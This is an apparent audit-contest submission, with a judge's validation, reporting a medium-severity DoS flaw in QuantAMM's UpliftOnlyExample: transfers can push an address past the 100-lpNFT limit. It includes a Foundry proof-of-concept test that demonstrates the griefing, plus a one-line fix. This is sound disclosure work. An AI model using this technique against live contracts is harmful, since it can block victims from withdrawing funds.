QuantAMM

QuantAMM
49,600 OP
View results
Submission Details
Severity: medium
Valid

`UpliftOnlyExample::afterUpdate` do not check if the address `_to` has over 100 `lpNFT` token or not, one address can have more than 100 `lpNFT` token, causing Ddos issues.

Summary

UpliftOnlyExample::afterUpdate do not check if the address _to has over 100 lpNFT token or not, one address can have more than 100 lpNFT token, causing Ddos issues.

Vulnerability Details

In UpliftOnlyExample, to avoid Ddos issues, a single depositor can only deposit 100 times. This is similar to how a user only has a maximum of 100 lpNFT tokens.

Although there was a check when depositing, devs forgot to check when transferring whether the _to address already had a maximum of 100 lpNFT tokens or not.

PoC

  • Place this test into UpliftExample.t.sol.

  • Then in /2024-12-quantamm/pkg/pool-hooks run forge test --mt test_BobCanHaveMoreThan_100_TokenIds. It passes.

function test_BobCanHaveMoreThan_100_TokenIds() public {
uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)]
.toMemoryArray();
vm.startPrank(bob);
uint256 bptAmountDeposit = bptAmount / 150;
for (uint256 i = 0; i < 100; i++) {
upliftOnlyRouter.addLiquidityProportional(
pool,
maxAmountsIn,
bptAmountDeposit,
false,
bytes('')
);
skip(1 days);
}
vm.stopPrank();
LPNFT lpNft = upliftOnlyRouter.lpNFT();
assertEq(lpNft.balanceOf(bob), 100);
vm.startPrank(alice);
upliftOnlyRouter.addLiquidityProportional(
pool,
maxAmountsIn,
bptAmountDeposit,
false,
bytes('')
);
upliftOnlyRouter.addLiquidityProportional(
pool,
maxAmountsIn,
bptAmountDeposit,
false,
bytes('')
);
lpNft.transferFrom(alice, bob, 101);
lpNft.transferFrom(alice, bob, 102);
vm.stopPrank();
assertEq(lpNft.balanceOf(bob), 102);
}

Impact

Malicious users can send many small value lpNFTs to a whale user and make this whale unable to withdraw.

Tools Used

  • Manual review

  • Foundry

Recommendations

  • Revert if address to already have 100 deposits.

function afterUpdate(address _from, address _to, uint256 _tokenID) public {
+ if (poolsFeeData[pool][_to].length >= 100) {
+ revert TooManyDeposits(pool, _to);
+ }
.
.
.
}
Updates

Lead Judging Commences

n0kto Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_afterUpdate_does_not_check_limit_NFT_per_user

Likelihood: Medium/High, anyone can receive an unlimited NFT number but will cost creation of LP tokens and sending them. Impact: Low/Medium, DoS the afterUpdate and addLiquidityProportional but will be mitigable on-chain because a lot of those NFT can be burn easily in onAfterRemoveLiquidity.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!